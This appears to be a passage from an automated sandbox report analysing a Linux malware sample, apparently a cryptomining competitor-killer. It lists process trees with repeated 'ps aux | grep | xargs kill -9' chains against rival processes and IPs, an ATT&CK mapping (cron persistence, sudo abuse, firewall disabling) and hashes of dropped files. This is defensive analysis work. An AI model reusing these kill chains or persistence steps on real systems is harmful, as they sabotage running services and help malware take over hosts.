  xargs -I "%" kill -9 "%"
  2⤵
  PID:1835
- /bin/grep
  grep -v grep
  2⤵
  PID:1832
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1831
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1839
- /bin/grep
  grep -v grep
  2⤵
  PID:1837
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1840
- /bin/grep
  grep :5555
  2⤵
  PID:1838
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1836
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1845
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1844
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:1843
- /bin/grep
  grep -v grep
  2⤵
  PID:1842
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1841
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1850
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1849
- /bin/grep
  grep log_
  2⤵
  PID:1848
- /bin/grep
  grep -v grep
  2⤵
  PID:1847
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1846
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1854
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1855
- /bin/grep
  grep systemten
  2⤵
  PID:1853
- /bin/grep
  grep -v grep
  2⤵
  PID:1852
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1851
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1860
- - /usr/local/sbin/kill
    kill -9 10
    3⤵
    PID:1861
- - /usr/local/bin/kill
    kill -9 10
    3⤵
    PID:1861
- - /usr/sbin/kill
    kill -9 10
    3⤵
    PID:1861
- - /usr/bin/kill
    kill -9 10
    3⤵
    PID:1861
- - /sbin/kill
    kill -9 10
    3⤵
    PID:1861
- - /bin/kill
    kill -9 10
    3⤵
    - Reads CPU attributes
    PID:1861
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1859
- /bin/grep
  grep netns
  2⤵
  PID:1858
- /bin/grep
  grep -v grep
  2⤵
  PID:1857
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1856
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1865
- /bin/grep
  grep voltuned
  2⤵
  PID:1864
- /bin/grep
  grep -v grep
  2⤵
  PID:1863
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1866
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1862
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1870
- /bin/grep
  grep darwin
  2⤵
  PID:1869
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1871
- /bin/grep
  grep -v grep
  2⤵
  PID:1868
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1867
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1875
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:1874
- /bin/grep
  grep -v grep
  2⤵
  PID:1873
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1876
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1872
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1881
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:1879
- /bin/grep
  grep -v grep
  2⤵
  PID:1878
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1880
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1877
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1885
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:1884
- /bin/grep
  grep -v grep
  2⤵
  PID:1883
- /bin/ps
  ps aux
  2⤵
  PID:1882
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1886
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1887
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1891
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:1889
- /bin/grep
  grep -v grep
  2⤵
  PID:1888
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1890
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1896
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:1894
- /bin/grep
  grep -v grep
  2⤵
  PID:1893
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1895
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1892
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1900
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:1899
- /bin/grep
  grep -v grep
  2⤵
  PID:1898
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1897
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1901
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1905
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1906
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:1904
- /bin/grep
  grep -v grep
  2⤵
  PID:1903
- /bin/ps
  ps aux
  2⤵
  PID:1902
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1911
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1910
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:1909
- /bin/grep
  grep -v grep
  2⤵
  PID:1908
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1907
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1915
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1916
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:1914
- /bin/grep
  grep -v grep
  2⤵
  PID:1913
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1912
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1920
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1921
- /bin/grep
  grep 51.38.191.178
  2⤵
  PID:1919
- /bin/grep
  grep -v grep
  2⤵
  PID:1918
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1917
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1925
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1926
- /bin/grep
  grep 51.15.56.161
  2⤵
  PID:1924
- /bin/grep
  grep -v grep
  2⤵
  PID:1923
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1922
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1931
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1930
- /bin/grep
  grep 86s.jpg
  2⤵
  PID:1929
- /bin/grep
  grep -v grep
  2⤵
  PID:1928
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1927
- /bin/grep
  grep aGTSGJJp
  2⤵
  PID:1934
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1936
- /bin/grep
  grep -v grep
  2⤵
  PID:1933
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1935
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1932
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1941
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1940
- /bin/grep
  grep nMrfmnRa
  2⤵
  PID:1939
- /bin/grep
  grep -v grep
  2⤵
  PID:1938
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1937
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1946
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1945
- /bin/grep
  grep PuNY5tm2
  2⤵
  PID:1944
- /bin/grep
  grep -v grep
  2⤵
  PID:1943
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1942
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1951
- /bin/grep
  grep I0r8Jyyt
  2⤵
  PID:1949
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1950
- /bin/ps
  ps aux
  2⤵
  PID:1947
- /bin/grep
  grep -v grep
  2⤵
  PID:1948
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1956
- /bin/grep
  grep AgdgACUD
  2⤵
  PID:1954
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1955
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1952
- /bin/grep
  grep -v grep
  2⤵
  PID:1953
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1961
- /bin/grep
  grep uiZvwxG8
  2⤵
  PID:1959
- /bin/grep
  grep -v grep
  2⤵
  PID:1958
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1960
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1957
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1965
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1966
- /bin/grep
  grep hahwNEdB
  2⤵
  PID:1964
- /bin/grep
  grep -v grep
  2⤵
  PID:1963
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1962
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1970
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1971
- /bin/grep
  grep BtwXn5qH
  2⤵
  PID:1969
- /bin/grep
  grep -v grep
  2⤵
  PID:1968
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1967
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1976
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1975
- /bin/grep
  grep 3XEzey2T
  2⤵
  PID:1974
- /bin/grep
  grep -v grep
  2⤵
  PID:1973
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1972
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1981
- /bin/grep
  grep t2tKrCSZ
  2⤵
  PID:1979
- /bin/grep
  grep -v grep
  2⤵
  PID:1978
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1977
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1980
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1986
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1985
- /bin/grep
  grep -v grep
  2⤵
  PID:1983
- /bin/grep
  grep HD7fcBgg
  2⤵
  PID:1984
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1982
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1990
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1991
- /bin/grep
  grep zXcDajSs
  2⤵
  PID:1989
- /bin/grep
  grep -v grep
  2⤵
  PID:1988
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1987
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1996
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1995
- /bin/grep
  grep 3lmigMo
  2⤵
  PID:1994
- /bin/grep
  grep -v grep
  2⤵
  PID:1993
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1992
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2000
- /bin/grep
  grep -v grep
  2⤵
  PID:1998
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2001
- /bin/grep
  grep AkMK4A2
  2⤵
  PID:1999
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1997
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2006
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2005
- /bin/grep
  grep AJ2AkKe
  2⤵
  PID:2004
- /bin/grep
  grep -v grep
  2⤵
  PID:2003
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2002
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2010
- /bin/grep
  grep -v grep
  2⤵
  PID:2008
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2011
- /bin/grep
  grep HiPxCJRS
  2⤵
  - System Network Configuration Discovery
  PID:2009
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2007
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2015
- /bin/grep
  grep http_0xCC030
  2⤵
  PID:2014
- /bin/grep
  grep -v grep
  2⤵
  PID:2013
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2016
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:2012
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2020
- /bin/grep
  grep http_0xCC031
  2⤵
  PID:2019
- /bin/grep
  grep -v grep
  2⤵
  PID:2018
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2021
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:2017
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2026
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2025
- /bin/grep
  grep http_0xCC032
  2⤵
  PID:2024
- /bin/grep
  grep -v grep
  2⤵
  PID:2023
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:2022
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2031
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2030
- /bin/grep
  grep http_0xCC033
  2⤵
  PID:2029
- /bin/grep
  grep -v grep
  2⤵
  PID:2028
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:2027
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2035
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2036
- /bin/grep
  grep C4iLM4L
  2⤵
  PID:2034
- /bin/grep
  grep -v grep
  2⤵
  PID:2033
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:2032
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2040
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2041
- /bin/grep
  grep aziplcr72qjhzvin
  2⤵
  - System Network Configuration Discovery
  PID:2039
- /bin/grep
  grep -v grep
  2⤵
  PID:2038
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2037
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2045
- /usr/bin/awk
  awk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"
  2⤵
  PID:2044
- /bin/grep
  grep -v grep
  2⤵
  PID:2043
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2042
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2049
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2050
- /bin/grep
  grep /boot/vmlinuz
  2⤵
  PID:2048
- /bin/grep
  grep -v grep
  2⤵
  PID:2047
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2046
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2055
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2054
- /bin/grep
  grep -v grep
  2⤵
  PID:2052
- /bin/grep
  grep i4b503a52cc5
  2⤵
  PID:2053
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:2051
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2060
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2059
- /bin/grep
  grep dgqtrcst23rtdi3ldqk322j2
  2⤵
  PID:2058
- /bin/grep
  grep -v grep
  2⤵
  PID:2057
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2056
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2064
- /bin/grep
  grep 2g0uv7npuhrlatd
  2⤵
  PID:2063
- /bin/grep
  grep -v grep
  2⤵
  PID:2062
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2065
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:2061
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2070
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2069
- /bin/grep
  grep nqscheduler
  2⤵
  PID:2068
- /bin/grep
  grep -v grep
  2⤵
  PID:2067
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2066
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2075
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2074
- /bin/grep
  grep rkebbwgqpl4npmm
  2⤵
  PID:2073
- /bin/grep
  grep -v grep
  2⤵
  PID:2072
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2071
- /bin/grep
  grep "]"
  2⤵
  PID:2079
- /bin/grep
  grep -v aux
  2⤵
  PID:2078
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2081
- /bin/grep
  grep -v grep
  2⤵
  PID:2077
- /usr/bin/awk
  awk "\$3>10.0{print \$2}"
  2⤵
  PID:2080
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2076
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2086
- /bin/grep
  grep 2fhtu70teuhtoh78jc5s
  2⤵
  PID:2084
- /bin/grep
  grep -v grep
  2⤵
  PID:2083
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2085
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2082
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2090
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2091
- /bin/grep
  grep 0kwti6ut420t
  2⤵
  PID:2089
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:2087
- /bin/grep
  grep -v grep
  2⤵
  PID:2088
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2096
- /bin/grep
  grep 44ct7udt0patws3agkdfqnjm
  2⤵
  PID:2094
- /bin/grep
  grep -v grep
  2⤵
  PID:2093
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2095
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:2092
- /bin/grep
  grep -v -
  2⤵
  PID:2100
- /bin/grep
  grep -v /
  2⤵
  PID:2099
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:2103
- /bin/grep
  grep -v grep
  2⤵
  PID:2098
- /bin/grep
  grep -v _
  2⤵
  PID:2101
- /usr/bin/awk
  awk "length(\$11)>19{print \$2}"
  2⤵
  PID:2102
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:2097
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:2107
- /bin/grep
  grep "\\[^"
  2⤵
  PID:2106
- /bin/grep
  grep -v grep
  2⤵
  PID:2105
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:2108
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:2104

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Sudo and Sudo Caching

T1548.003

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/log_rot

Filesize
5B

MD5
727479ef7cedf30c03459bec7d87b0f0

SHA1
2082e7f715f058acab2398d25d135cf5f4c0ce41

SHA256
29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6

SHA512
4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

Download Submit
/var/mail/user

Filesize
843B

MD5
06e0e98d1a3b998f64d7ba37d8320353

SHA1
bbba5801f3472c2aed2613dfcf80cbdd8d9660a7

SHA256
290859957f2747ea18d6f106810b0c91d3c0f3d273b7f9b49969bae1fd30f533

SHA512
c3a4b21acccd3ac94bfe7b342fb3eaf08155ee80cc9a51a2f520133e271f674a43b4d746df0af6d42236098a2338e89982435db646a21d17a82c450258be83ed

Download Submit
/var/mail/user

Filesize
1KB

MD5
17b747a706e324fac094b2dbcd71ec8c

SHA1
9b93c8585b1747fdd9b12c078ef11f5388366378

SHA256
cd600ac2d5f4d67f55bdcb3f5a4799c7da2ddf8b0938a724cf9475379ae6cd6b

SHA512
e422bc0c1744f97c0d88d1706fe04b34d17fd8223dbd123ddef76b64b4b5464e6bca187200a5e10286e02eff9e4f457e26b8e27e6867fdb97b7f1eada2a11848

Download Submit
/var/spool/cron/crontabs/tmp.4DTWmm

Filesize
175B

MD5
2bc6188cd1fb9f348a23cbc876ee07dc

SHA1
b8dc168b84bce6ebd1360f37c7e1ac9e28d8d93a

SHA256
e95dbffa559d2f27d2f1d5ef2880c0c4d2d05d9924c08f5f53b7fc592abea1a4

SHA512
9088ce5a1aaadefd614eb63cf6392d9c98713bd1f37490f0ad9a36e5d3b1c98f5f6c1583445598033cddf7afcbdf71138b7b0989364039d50d2c46cc031b2fd4

Download Submit
/var/spool/cron/crontabs/tmp.AqNOGn

Filesize
175B

MD5
6e134ccd1dab4f5e03d8f731838f8898

SHA1
9d80c4cade1dfaf19bcff563a760c13ed46ea302

SHA256
d81baadeb7762d3368997793da699c92e5041ad61b44feac804ab78a2c0c047e

SHA512
333c18172ec8d0c212eff6133b762a3efa16045eb04554d9de5b03a98773d4c293053c2db22963f45f06245a431ac35c6cd682b30c46fe2239a43c0a2b3710c9

Download Submit
/var/spool/cron/crontabs/tmp.OJPlok

Filesize
175B

MD5
45a94c7666bff928302067133134912d

SHA1
cce083dcec56c425f61c112dc9ba594e9b1973b0

SHA256
b1ec0f49c321f659faf1e05c5c843231f5b6b32bedf49713a0a085f037bdb931

SHA512
d0f4d939c6e48fcc1c46f93d4597a32669058cce0516f6407b1461395e4365923913aa6908dc226ec052e73f20bb4e9f34047c83b924be019ab648adc335cdc1

Download Submit
/var/spool/cron/crontabs/tmp.RT97rv

Filesize
175B

MD5
9fbdbe9681bc2f78704f853e60a5d295

SHA1
c873bbcb207b070241b829e86a956ac2a8b621d6

SHA256
b28ee5dffc753f372a8862e721ed56948037eb69465636a3a2309f2bfc2ea445

SHA512
e01a94473adc9c50f981685b043355325ce7c6b2f09c6cc313bed0c1b19d501fdd3ae71a544cd3b77ab3905fb93e118d3bfb8471adb5b10b8696f2f6a9138820

Download Submit
/var/spool/cron/crontabs/tmp.UeFBZl

Filesize
175B

MD5
82249d02a534ecd31cafc03ab4440a2c

SHA1
c8c5e8a96928bbe305eb2d69fcfd3c04ce794bf7

SHA256
d061e9022e20741921e802f44d81b8981f60362c59c7d009f8624519e5b172a2

SHA512
68905ddf6987a7746fa3154812832fd13ca80c168e314f045fb8a1f74302bde28c2609ef1f41cdd5902eb88b48e9e368e352e88169e7691222d85a3220a4666e

Download Submit
/var/spool/exim4/input/1tmNTK-0000Bo-6A-D

Filesize
128B

MD5
f95159d80e29c258a9aa7bd2c88d6f10

SHA1
442839e53597de53f4ff5c5bf93ff80dd5d8affe

SHA256
27e00d18a9b5d71ccc2b27ca606b72de052f9a4d080d20f6c57ed35951960b38

SHA512
4b7cc6701fff2e61e64ad0029ee6c62af58436a8edd8bc8eeb80cbf638acc78440e2a670c4183b60a087c859d59cc78f50ed8544a898942aaa18d7990f0c4c5a

Download Submit
/var/spool/exim4/input/1tmNTK-0000Bs-5s-D

Filesize
146B

MD5
05c7e5c2fc44f18766b6ec4dcabde056

SHA1
7a82aa5090e991b0ef26a00a72d646d11e0ef0a9

SHA256
ae3ebb3ecda49cab18ffc4cbeb59308e4d6d2e0b821d2e42f7a76f77441da4c8

SHA512
bbaa0012c1d8481a7147f6e6b250369448510ec0faf3074f91ecd4ba21f56ba70a2d03069c214f60c46c3c34e0c28884e2629c636d023065625d0989f4b4405f

Download Submit
/var/spool/exim4/input/1tmNTK-0000Bs-5s-J

Filesize
34B

MD5
d7d96d63d643a4ce3e408eba7dfcedc5

SHA1
c53607f95c5c57beafc1d8266646797a035f76ea

SHA256
21db3a59b2d0ce18fb250b787d6e2c85d12919f5fdf1448c8f48207c4083b159

SHA512
703a03e54776a6ad9b8adc6c475bbc91c06502618fa3b6f495b1a01a4f6f7aa6fb65dc6ba6885ddc6af961627062f1ce1e1d66688288cbd3bef7754d249fa9b3

Download Submit
/var/spool/exim4/input/hdr.732

Filesize
915B

MD5
b69f7e3622d41cbcc64b01f146073295

SHA1
955a7f722b46af82aff125974e163f2a322faa64

SHA256
e3714b27245299a4dce8c314637148d7a8efbc47c91aea7e00749e6a4ee8799b

SHA512
27fe62df6462f1ff25c7c14bbe7ae7d014898e14f1c2b96711c8731bb1529a7ff6939ba6f892204af9bfa3fdeda95ca0e9bba5570634c5a573c5342804dae5c7

Download Submit
/var/spool/exim4/msglog/1tmNTK-0000Bo-6A

Filesize
288B

MD5
59c7aab6e048c5ca48d7de0d99cf540d

SHA1
a9a039968308df0ef4cce404dc525a0e1e8cff43

SHA256
bbb53a2286e17483a9386257cc03d11eb5f2dad1f315ad7facffbcce79091d7f

SHA512
777b1838942ee2f5d162858a739ac85d26be174fff843fc6d61f8784c48d677ab83ac285d136970b1411f779960d580b7f9f72ce4118b632e061f4d7c7d6715c

Download Submit
/var/spool/exim4/msglog/1tmNTK-0000Bo-6A

Filesize
89B

MD5
331125d3b9653d4e1fae1ea9c3d2acaf

SHA1
bcdc7013220d105a5a50b0e07045220c9406d8fa

SHA256
f524e820b19a21803ee9c7aa6872d9fd61b99a986f44710fb2557d65800ce6e1

SHA512
ae27ef5a1c3eaf05a6e9d834ff686cce2d5bb0dd164bcdd504ba31beba904d6d62c9c53e08bdb572952a9c7a3ab4fa66190841b1df2d9c1cf1a17b95e459fade

Download Submit
/var/spool/exim4/msglog/1tmNTK-0000Bs-5s

Filesize
288B

MD5
7c192b744871c4658c4cd253b8f6d483

SHA1
f0b1055048f15eb581a131357efbee086a4e7e65

SHA256
c9d2d8e381d5193072352b82db87a528ddc59716a28555ba564e31d80df5dd64

SHA512
f4edbfff9ac3a9964b4aee5269366c42069b1cf456d842ca83867ac75de02e5c31c2591d674117aedb4e173da16d2f37e745a6fd1afb4731d37cd3b24b3cb324

Download Submit
/var/spool/exim4/msglog/1tmNTK-0000Bs-5s

Filesize
89B

MD5
d775d7475aaa6d69d84cea80b132caf7

SHA1
601bec9c9f71ef94826865e75c0922427a028a03

SHA256
108e6ba8eb68829942fc741b5d593435be493a667b58fb7ba0e4e1ed17ef646d

SHA512
f9787fae0634e0ad4b880cea852e22141b2d8e24fb90fae1b9af89601943a2320bad597786d30781b86ca964e685a4d73728792ed387c2b6b557a96c08bed3ce

Download Submit

Analysis

Sharing

General

